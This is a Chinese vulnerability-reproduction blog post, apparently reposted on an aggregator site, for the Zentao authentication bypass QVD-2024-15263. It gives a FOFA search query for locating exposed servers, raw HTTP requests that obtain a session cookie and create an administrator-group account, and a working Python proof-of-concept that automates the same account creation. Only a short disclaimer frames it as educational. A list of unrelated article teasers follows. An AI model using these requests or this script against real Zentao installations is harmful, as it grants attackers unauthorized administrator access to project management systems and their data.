【漏洞复现】禅道——未授权登入(QVD-2024-15263)

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

禅道(Zentao)是一款开源的项目管理和协作软件。禅道项目管理系统中的存在QVD-2024-15263身份认证绕过漏洞。攻击者可利用该漏洞创建任意账号实现未授权登录。

漏洞复现

1)信息收集
fofa:title=“禅道”
2)本地复现
源码下载:https://dl.zentao.net/zentao/18.11/ZenTaoPMS-18.11-php7.0.tar.xz
在这里插入图片描述
3)先构造数据包,获取cookie

GET /zentaopms/www/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host:ip

在这里插入图片描述

Set-Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv;

4)构造数据包,创建账户

POST /zentaopms/www/api.php/v1/users HTTP/1.1
Host:ip
Cookie: zentaosid=c5gfr88h22f4vv73h4d0b453mv; lang=zh-cn; device=desktop; theme=default{"account": "longl", "password": "Qwe123", "realname": "longl", "group":"1"}

"group":"1"为管理员分组
在这里插入图片描述

5)登入账号
账号:longl
密码:Qwest23
在这里插入图片描述
成功登入

测试工具

poc

# -*- coding: UTF-8 -*-
# !/usr/bin/pythonimport requests
import re
from bs4 import BeautifulSoupdef getCookie(host):"""通过发送请求获取Set-Cookie头部信息。:param host: 目标主机地址:return: 获取到的Cookie字符串"""# 构造请求URL,需要根据实际路径进行修改url1 = "http://" + host + "/zentaopms/www/"url = url1 + "/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=fkazcfyqgknhqdkbpttl&branch=qkkcluybdvfxqngbemmn"# 设置请求头部信息headers={"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","Accept-Language":"zh-CN,zh;q=0.9","Host":host}# 发送GET请求并获取响应response = requests.get(url,headers=headers)# 从响应头部获取Set-Cookie值SetCookie = response.headers.get('Set-Cookie')return SetCookiedef addUser(SetCookie,host):"""使用给定的Cookie添加新用户。:param SetCookie: 用于身份验证的Cookie字符串:param host: 目标主机地址:return: 请求的响应对象"""# 构造添加用户的API请求URL,需要根据实际路径进行修改weburl = "http://" + host + "/zentaopms/www/api.php/v1/users"# 设置请求头部信息,包括Cookieheaders = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36","Accept-Language":"zh-CN,zh;q=0.9","Host":host,"cookie":SetCookie}# 设置请求超时时间timeout = 8# 设置待添加用户的参数# 账号、密码、真实姓名、角色、用户组data = {'account': '3213111','password': '123456Qa','realname': '3213111','role': 'top','group': '1'}# 发送POST请求添加用户res = requests.post(weburl,headers=headers,data=data,timeout=timeout)return resdef main():"""主程序入口。"""# 目标Web地址weburl = "192.168.2.8"host = str(weburl)# 获取CookieSetCookie = getCookie(host)# 检查是否成功获取Cookieif SetCookie == None:print("获取Cookie失败,漏洞可能已被修复。\n")else:# 截取前43个字符,因为实际使用的Cookie可能较长,此处只取前缀set_cookies = SetCookie[:43]# 使用Cookie添加用户res1 = addUser(set_cookies,host)# 检查用户添加是否成功if str(res1.status_code) == "400":print("账号可能已存在,请尝试更换用户名。\n")else:print("账号已生成。")if __name__ == '__main__':main()

运行截图
在这里插入图片描述


冬天之所以那么冷是为了告诉大家身边人的温暖有多重要。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/867530.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

死锁-活锁与活锁的预防、死锁与死锁的预防和检测(处理死锁的方式:事务等待图)

一、引言 1、死锁是因采用封锁技术实现并发控制而产生的一种运行事务被阻塞或等待的现象 2、如果利用严格两阶段封锁协议来解决我们前面提到的“更新丢失”这种数据不一致问题,非串行调度中的事务T1首先获得数据对象X上的读锁并开始执行,随后事务T2也获…

数值分析笔记(五)线性方程组解法

三角分解法 A的杜利特分解公式如下: u 1 j a 1 j ( j 1 , 2 , ⋯ , n ) , l i 1 a i 1 / u 11 ( i 2 , 3 , ⋯ , n ) , u k j a k j − ∑ m 1 k − 1 l b m u m j ⇒ a k j ( j k , k 1 , ⋯ , n ) , l i k ( a i k − ∑ m 1 k − 1 l i n u m k ) /…

uniapp 在手机上导出excel

1.创建excelDev.js文件 export default {exportExcel(fileData, documentName excel) {plus.io.requestFileSystem(plus.io.PUBLIC_DOCUMENTS, function(fs) {let rootObj fs.rootlet fullPath rootObj.fullPathconsole.log("开始导出数据")// 创建文件夹rootObj…

破解宇宙终极奥秘,战胜昊天无上束缚

在幽邃的暗夜下,细品着夫子与昊天跨越千年的智勇交锋,我的思绪不禁飘向了更加深远的宇宙边际,回响起那些关于人类如何挑战天命、战胜上天的过往。 宇宙奥秘 在浩瀚无垠的宇宙深渊中,隐藏着一段超越凡尘的规则。昊天,…

2、Key的层级结构

Key的层级结构 Redis的key允许有多个单词形成层级结构,多个单词之间用’:隔开。 举个例子: 我们有一个项目project,有user和product俩种不同的数据类型,那么我们可以这么定义key: user相关的key:project:user:1 pr…

2025湖北武汉智慧教育装备信息化展/智慧校园展/湖北高博会

2025武汉教育装备展,2025武汉智慧教育展,2025武汉智慧校园展,2025武汉教育信息化展,2025武汉智慧教室展,湖北智慧校园展,湖北智慧教室展,武汉教学设备展,湖北高教会,湖北高博会 2025湖北武汉智慧教育装备信息化展/智慧校园展/湖北高博会 2025第10届武汉国际教育装备及智慧校园…

计算机网络——数据链路层(以太网扩展、虚拟局域网、高速以太网)

在许多情况下,我们希望把以太网的覆盖范围扩展。本节先讨论在物理层把以太网扩展,然后讨论在数据链路层把以太网扩展。这种扩展的以太网在网络层看来仍然是一个网络。 在物理层扩展以太网 现在,扩展主机和集线器之间的距离的一种简单方法就是…

jmeter-beanshell学习3-beanshell获取请求报文和响应报文

前后两个报文,后面报文要用前面报文的响应结果,这个简单,正则表达式或者json提取器,都能实现。但是如果后面报文要用前面请求报文的内容,感觉有点难。最早时候把随机数写在自定义变量,前后两个接口都用这个…

小暑节气,选对劳保鞋,让安全与清凉同行

在七月炽热的阳光下,我们迎来了二十四节气中的小暑,标志着盛夏时节的正式开始。随着气温的节节攀升,不仅大自然万物进入了生长的旺季,我们的工作与日常生活也面临着新的挑战——如何在高温环境下保障自身安全,成为了不…

实例演示kafka stream消息流式处理流程及原理

以下结合案例&#xff1a;统计消息中单词出现次数&#xff0c;来测试并说明kafka消息流式处理的执行流程 Maven依赖 <dependencies><dependency><groupId>org.apache.kafka</groupId><artifactId>kafka-streams</artifactId><exclusio…

如何在Java应用中实现全文搜索功能

如何在Java应用中实现全文搜索功能 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在现代应用程序开发中&#xff0c;全文搜索功能变得越来越重要。它能够帮助…

Vue的介绍

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

使用引用返回类对象本身

#include<iostream> #include<ctime> using namespace std; class Person { public://Person()//{// cout << "构造函数调用"<<endl;//}Person(int age){this->age age;cout << "有参构造函数调用" << endl;}Pers…

如何编写高质量的测试报告

如何编写高质量的测试报告 简介测试报告的重要性测试报告的基本结构编写测试报告的步骤测试报告的关键要素测试报告的示例封面目录摘要引言测试方法测试环境测试结果缺陷统计和分析风险评估结论和建议附件 测试报告的审查和批准测试报告的维护和更新结语 简介 测试报告是软件开…

12-linux重定向与管道符

在线电子书:Linux 命令行大全.pdf (gitee.com) 重定向 Linux重定向是指修改原来默认的一些东西,对原来系统命令的默认执行方式进行改变,比如说简单的我不想看到在显示器的输出而是希望输出到某一文件中就可以通过Linux重定向来进行这项工作。 • cat -连接文件 • sort…

vue3【实战】来回拖拽放置图片

效果预览 技术要点 img 标签默认就是可拖拽的&#xff08;a 标签也是&#xff09;事件 e 内的 dataTransfer 对象可用于临时存储事件过程中的数据拖拽事件的默认行为是用浏览器新开页签打开被拖拽对象&#xff0c;所以通常需要禁用默认的浏览器行为被拖拽元素必须设置 id&#…

A61 STM32_HAL库函数 之 TIM扩展驱动 -- C -- 所有函数的介绍及使用

A61 STM32_HAL库函数 之 TIM扩展驱动 -- C -- 所有函数的介绍及使用 1 该驱动函数预览1.24 HAL_TIMEx_OnePulseN_Stop1.25 HAL_TIMEx_OnePulseN_Start_IT1.26 HAL_TIMEx_OnePulseN_Stop_IT1.27 HAL_TIMEx_ConfigCommutationEvent1.28 HAL_TIMEx_ConfigCommutationEvent_IT1.29 …

【pyqt-实训训练】串口助手

串口助手 前言一、ui设计二、ui的控件命名三、ui转py使用类的方法【扩展】使用ui文件导入&#xff01;P7的小错误解决办法 总结 前言 我的惯例就是万物之始&#xff0c;拜见吾师&#x1f970;⇨pyqt串口合集 最开始的时候我想的是&#xff0c;学了那么久的pyqt&#xff0c;我…

大数据处理系统架构特征

Storm之父Nathan Marz在《大数据系统构建&#xff1a;可扩展实时数据系统构建原理与最佳实践》一书中&#xff0c;提出了他认为大数据系统应该具有的属性。 1.鲁棒性和容错性&#xff08;Robust and Fault-tolerant&#xff09; 对大规模分布式系统来说&#xff0c;机器是不可…

ASCII码对照表(Matplotlib颜色对照表)

文章目录 1、简介1.1 颜色代码 2、Matplotlib库简介2.1 简介2.2 安装2.3 后端2.4 入门例子 3、Matplotlib库颜色3.1 概述3.2 颜色图的分类3.3 颜色格式表示3.4 内置颜色映射3.5 xkcd 颜色映射3.6 颜色命名表 4、Colorcet库5、颜色对照表结语 1、简介 1.1 颜色代码 颜色代码是…